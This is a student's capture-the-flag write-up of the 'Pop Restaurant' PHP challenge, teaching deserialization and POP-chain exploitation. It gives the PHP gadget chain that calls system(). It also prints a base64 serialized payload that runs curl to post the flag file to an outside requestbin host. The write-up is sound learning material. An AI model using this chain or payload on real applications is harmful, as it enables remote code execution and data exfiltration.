COMP6841 Something Awesome

z5418112 (Sam Zheng)

Pop Restaurant

By: khanhhnahk1

6 hours

Hard
PHP
Serialization
POP Chain
RCE

Introduction and Reconnaissance

A PHP application. This challenge was a bit of a doozy, as it required a series of exploits to get the flag. In addition to this, although I had experience with Perl as a frontend framework, I never had experience with PHP, so that was a bit of a learning curve for me. As an aside - I have no idea why this challenge was rated as "Easy" on HackTheBox, it was anything but. This challenge was completed over several evenings - totalling around 6-7 hours.

The app after logging in

The app after logging in

Unlike our previous challenge, we do have source code for this one, so hopefully we can get a better understanding of what's going on without needing to go in blind. Taking a look at what we have within the website, we have a login page, a register page, and a page to view the items you ordered. In addition, there are some 'models' (which I initially assumed to be similar to classes in OOP), with models of the different food items that could be ordered, as well as a database. I also noticed that there were some other helpers, like an array helper, and an authentication helper. Not only that, but checking the Dockerfile, unlike previous challenges, the flag this time was a random name, so we would need to figure out the name of the flag file first before we could actually get the flag, as shown by these lines:

COPY flag.txt /flag.txt
RUN bash -c 'FLAG_NAME=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12) && cp /flag.txt "/${FLAG_NAME}_flag.txt" && rm /flag.txt'

From here, I was stuck for a little while, as I couldn't see any obvious signs or entrypoints to which I could exploit the website. I decided to take a step back and look at this challenge from a different angle. Looking back at the name of the challenge, Pop Restaurant, I decided to take a deeper look as to what this could mean or refer to.

I should note that I also noticed that within the models, there were interesting methods that were defined, alongside other strange attributes that don't seem to be used anywhere.

The models with strange code

The models with strange code

Researching the Vulnerability(ies)

After a LOT of digging and research, I found two vulnerabilities that could be worth something within the context of this repository.

  • PHP Object Injection (serialisation attack)
    • PHP Object Injection is a vulnerability that could allow an attacker to perform many different kinds of attacks, such as Code Injection, SQL Injection, Path Traversal and more. This vulnerability occurs when an attacker can supply a serialised object, and the application does not properly validate or sanitise the input.
    • PHP allows one to unserialise a provided string, and then use that object as a functional class instance. Attackers could then pass ad-hoc objects to a vulnerable unserialise() call, eventually allowing for remote code execution through something known as a POP chain.
  • POP Chain
    • A Property Oriented Programming (POP) chain attack is when a series of vulnerabilities are chained together to perform an attack. Typically speaking, this is done through what are known as 'magic methods' in PHP.

Magic methods are special methods in PHP that can be tied to classes, and are executed at specific points in the object's lifecycle. These methods, in the rightfully wrong way, can be used against the application to perform malicious actions through the manipulation of the properties of a deserialised object.

Looking back in the codebase, I notice that the three different food models that I mentioned having strange methods - these were all actually magic methods.

  • __get() - This method is called when something tries to access a property that is not accessible or does not exist.
  • __destruct() - This method is called when an object is destroyed, and can be used to perform cleanup tasks.
  • __invoke() - This method is called when an object is called as a function.

Planning the chain

Now that I had some more background information, we needed to start figuring out how we could chain these vulnerabilities together to get the flag. Research seemed to suggest that the first entrypoint would likely be the __destruct() method within the pizza model, as this would allow us to execute code when the object was destroyed/cleaned-up.

My suspicion was that once we create a new pizza object, we could then assign the $pizza->size property to a new Spaghetti. What this will do now is because the __destruct() method is called when the object is cleaned up after being deserialised, it will then call the __get() method of the Spaghetti object, since what doesn't exist on the Spaghetti object. Finally, we set the sauce attribute of the Spaghetti object to the function that we wish to execute.

I tested this theory by running the application locally and trying it out on the login page.

$spaghetti->sauce = print("Hello World");
$pizza = new Pizza();
$pizza->size = $spaghetti;
echo unserialize(serialize($pizza));
Testing simple payload

Testing simple payload

Looking promising! Let's try listing some files on the system, by using the PHP system() function for RCE.

Listing files

Listing files

Nice! We're getting somewhere. Maybe we could actually try to look into executing this on the server itself. Of course, I won't have the freedom to change the source code on the server, so I will have to look for a different approach.

I notice here, that the actual data of the classes are stored as a base-64 encoded, serialised string of the original instance of the class. This is being plugged in via a hidden input field on the order page - maybe I replace this with my own payload on the real website? For testing however, I will continue with changing the source code locally for convenience, but this time I run the payload by replacing the value of one of the fields directly with my payload.

This didn't work, unfortunately. As you may have noticed in my earlier screenshots - it was telling me that the object of class Pizza couldn't actually be serialised into a string. This was due to the fact that an anonymous function was being used - which is not allowed in PHP. I had to find a different way to execute my payload.

Tying it all together

Now, the IceCream model had a __invoke() method, which was called when IceCream was called as a function. Once that happens, we loop over the items in the flavors array, and echo it. Additionally, remembering that we have an ArrayHelpers class, which has a special method call call_user_func - sounds like something that I could use to execute whatever I wanted - in this case it was running whatever method was set in the callback attribute.

So to tie this all together, I would need to create a new arrayHelpers object, set the callback attribute to system, setting the input array that it will iterate over as the list of commands (or just a single command) that I wanted to run. I would then make a new IceCream object, setting the flavours attribute to the arrayHelpers object, and finally set spaghetti->sauce to the IceCream object. Phew, that was a lot of work! Time to try it out! Here's what that payload looks like all together:

$spaghetti = new Spaghetti();
$iceCream = new IceCream();
$arrayHelpers = new ArrayHelpers(["ls /*flag.txt | xargs cat"]);
$arrayHelpers->callback = 'system';
$iceCream->flavors = $arrayHelpers;
$spaghetti->sauce = $iceCream;
$pizza = new Pizza();
$pizza->size = $spaghetti;

Asking PHP to also base64 encode and serialize the object for me:

Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO086OToiU3BhZ2hldHRpIjozOntzOjU6InNhdWNlIjtPOjg6IkljZUNyZWFtIjoyOntzOjc6ImZsYXZvcnMiO086MjA6IkhlbHBlcnNcQXJyYXlIZWxwZXJzIjo0OntpOjA7aTowO2k6MTthOjE6e2k6MDtzOjk2OiJjdXJsIC1YIFBPU1QgLWQgImRhdGE9JChjZCAvICYmIGxzICpmbGFnLnR4dCB8IHhhcmdzIGNhdCkiIGh0dHBzOi8vZW40NWgxZnRiamw1Zy54LnBpcGVkcmVhbS5uZXQiO31pOjI7YToxOntzOjg6ImNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fWk6MztOO31zOjc6InRvcHBpbmciO047fXM6Nzoibm9vZGxlcyI7TjtzOjc6InBvcnRpb24iO047fX0

I take this base64 encoded string and replace the value of the hidden input field on the order page with this string. I then submit the order, and...

Putting in the encoded string

Putting in the encoded string

Nothing...?

Nothing...?

This was very strange, as testing the injection of this locally actually worked completely fine. This was very deflating and frustrating, given that I spent so much time, thinking that I had gotten a payload that works (at least locally), for it to not work when I test it on the real website.

Testing locally

Testing locally

As you can see, the payload would show up on the raw HTML response of the page locally, but the same thing did not ever show up on the server. I knew that the payload was at least somewhat working correctly - given that the 'Your Orders' section showed a Pizza object being ordered despite me clicking Spaghetti (since that's essentially what I was doing with the payload). After a lot of thinking, I realised - wait a minute, I literally have access to a remote server shell - I could practically do whatever I wanted!

In the end, I decided to put in a curl command that would post the payload to a requestbin, and then I would be able to see the response from the server. I then put in the payload, and submitted the order, praying...

Finally!

Finally!

Reflection and Learnings

Last Writeup

Baby Nginxatsu

Next Writeup

Render Quest